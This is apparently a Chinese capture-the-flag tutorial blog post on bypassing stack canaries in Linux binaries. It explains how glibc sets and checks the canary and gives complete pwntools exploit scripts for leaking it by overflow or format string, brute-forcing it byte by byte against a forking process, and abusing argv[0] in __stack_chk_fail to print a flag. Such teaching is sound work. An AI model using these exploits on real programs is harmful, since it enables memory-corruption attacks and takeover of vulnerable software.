绕过保护之——Canary
初识Canary
关于canary说白了就是一个防止栈溢出的手段,一般情况下是在栈底前边设置一个值,在进程结束时,对比这个值有没有被篡改,如果篡改就退出。具体汇编如下
函数开始前在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 rbp-0x8 的位置(32位ebp-0x4。但是这个位置不是绝对的,可以通过ida分析)。 这个操作即为向栈中插入 Canary 值
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
函数结束时,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>

如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,这个函数不同的libc会不同(从glibc开始 2.27后稍有不同)定义如下
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
在没有开启FULL RELRO保护时,我们可以通过劫持GOT表,然后触发Canary检测报错,这时就会进入劫持的地址。另一种是利用fortify_fail函数打印关键信息
关于Canary的储存地址,对于Liunx来说,fs寄存器实际指向的是当前进程的TLS结构,fs:0x28指向的正式stack_guard。如果溢出条件合适,我们完全可以覆盖TLS中保存的Canary值
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;
这个值由ssecurity_init函数来初始化
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数
//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);
_dl_random = NULL;
}
//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
Canary的最后一个字节呗设置为0,防止类似与printf("%s" , &buf),形式的函数不小心打印出来,所以我们可以把这个0给覆盖,用打印函数来覆盖,这样就泄露了Canary的值
Canary保护机制总结
- _dl_random由Kernel写入
- security_init 函数将_dl_random 的最后一个字节设置为0,防止 printf("%s”)这类打印函数不小心泄露 Canary。
- security_init 函数将 Canary 值设置到 TLS 中。
- 在函数开始时,会取出TLS中的Canary值放在ebp-4h(64位系统为rbp-8h)
中,即防止通过栈溢出修改 ebp 和返回地址。 - 在函数结束时,会取出ebp-4h(64位系统为rbp-8h)的值,并与 TLS 中的 Canar值进行异或,判断是否为0。若结果为0,则检查通过;若结果不为0,则检查不通过,进人stack_chk_fail 函数
Canary保护机制主要有两个漏洞
- stack_chk_fai1函数会有信息输出,如果我们能够控制 libc_argv[0],就能够通过stack_chk fail函数泄露出我们想要的信息,这个技术被称为 stacksmashes(glibc 2.27 和 2.27之后的版本会有一些变化)。
- 如果我们有一个很长的栈溢出,那么可以直接溢出TLS 中的 a1_random 的值,因此可以绕过 Canary 保护。当然,这里可能还需要一个多线程的条件,可以在后续例
题中看到。
对于有Canary的程序,如果考虑栈溢出攻击,主要有四个攻击点:
- 利用泄露函数泄露出 Canary 的值,再进行利用。
- 爆破得到 Canary 的值。
- stack_chk fai1 函数泄露关键信息。
- 修改 TLS 中的 stack quard 值。
泄露Canary值
附件下载

注意点Canary值距离ebp为0xc,然后通过栈溢出覆盖最后一位0,通过打印函数打印出来cancary
- 第一种是用栈溢出漏洞
from pwn import *
from LibcSearcher import *
filename = './leak_canary'
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote( )
else:
p = process(filename)
context(log_level = 'debug')
elf = ELF(filename)
target = 0x080485CC
payload = b'a' * 0x100 + b'b'
p.send(payload)
p.recvuntil(b'a' * 0x100)
canary_addr = u32(p.recv(4)) - ord('b')
success(hex(canary_addr))
payload2 = b'\x00' * 0x100 + p32(canary_addr)
payload2 += p32(1) * 3
payload2 += p32(target)
p.sendline(payload2)
p.interactive()
- 第二种是利用格式化字符串
from pwn import *
from LibcSearcher import *
filename = './leak_canary'
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote( )
else:
p = process(filename)
context(log_level = 'debug')
elf = ELF(filename)
target = 0x080485CC
p1 = '%{offset}$p\n'.format(offset = 71)
p.send(p1)
canary_addr = int(p.recvuntil('\n' , drop=True) , 16)
success(hex(canary_addr))
p2 = b'a' * 0x100 + p32(canary_addr)
p2 += 0xc * b'a'
p2 += p32(target)
p.sendline(p2)
p.interactive()
逐字节爆破Canary
附件下载
这种方法局限性比较大,必须有fork函数开启子进程。因为fork函数会直接拷贝父进程内存,所以创建的子进程canary都是相同的

我们一直fork开启子进程,一个一个字节的爆破
from pwn import *
from LibcSearcher import *
filename = './one_by_one_bruteforce'
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote( )
else:
p = process(filename)
context(log_level = 'debug')
elf = ELF(filename)
def bruteforce1bit() :
global known
for i in range(256):
p1 = 0x108 * b'a'
p1 += known
p1 += bytes([i])
p.sendafter('one_by_one_bruteforce\n',p1)
try :
info = p.recvuntil(b'\n')
if b"*** stack smashing detected ***" in info :
p.send('n\n')
continue
else :
known += bytes([i])
break
except:
log.info('wrong')
break
def bruteforce_canary():
global known
known += b'\x00'
for i in range(7):
bruteforce1bit()
if i != 6 :
p.send(b'n\n')
else :
p.send(b'y\n')
target = 0x000000000040083E
known = b""
bruteforce_canary()
canary = u64(known) # Ensure known is 8 bytes
log.success("canary: " + hex(canary))
p2 = b"a" * 0x108 + p64(canary) + p64(0) + p64(target)
p.sendafter(b"go\n", p2)
p.interactive()
| 这两个理解起来都很简单,没有什么难点,看着exp很容易理解
stack_smashes
附件下载
前边已经简绍了,_stack_chk_fail函数会将__libc_agrc[0]的信息打印出来,所以我们可以改变__libc_agrc[0]的地址为我们想要信息的值,那么就能得到相应数据了

首先简绍一下什么是__libc_agrc[0]
main(int argc,char 、*argv[ ])
- argc为整数
- argv为指针的指针(可理解为:char **argv or: char *argv[] or: char argv[][] ,argv是一个指针数组)
注:main()括号内是固定的写法。 - 下面给出一个例子来理解这两个参数的用法:
假设程序的名称为prog,
当只输入prog,则由操作系统传来的参数为:
argc=1,表示只有一程序名称。
argc只有一个元素,argv[0]指向输入的程序路径及名称:./prog
当输入prog para_1,有一个参数,则由操作系统传来的参数为:
argc=2,表示除了程序名外还有一个参数。
argv[0]指向输入的程序路径及名称。
argv[1]指向参数para_1字符串。
当输入prog para_1 para_2 有2个参数,则由操作系统传来的参数为:
argc=3,表示除了程序名外还有2个参数。
argv[0]指向输入的程序路径及名称。
argv[1]指向参数para_1字符串。
argv[2]指向参数para_2字符串。 - void main( int argc, char *argv[] )
char *argv[] : argv 是一个指针数组,他的元素个数是argc,存放的是指向每一个参数的指针
我们本题需要找__libc_agrc[0]和输入的偏移
下断点直接到输入函数

第二个参数为输入地址(具体第几个参数,根据函数本身决定)
下断点到main

__libc_argv[0]指向的是文件路径

直接算出偏移
#脚本也是非常easy
from pwn import *
p = process("./stack_smashes")
gdb.attach(p,"b *0x000000000040087A")
context.log_level = "debug"
flag_addr = 0x0000000000601090
p2 = b"a" * 0x218 + p64(flag_addr)
p.sendafter("stack_smashes\n",p2)
p.interactive()

浙公网安备 33010602011771号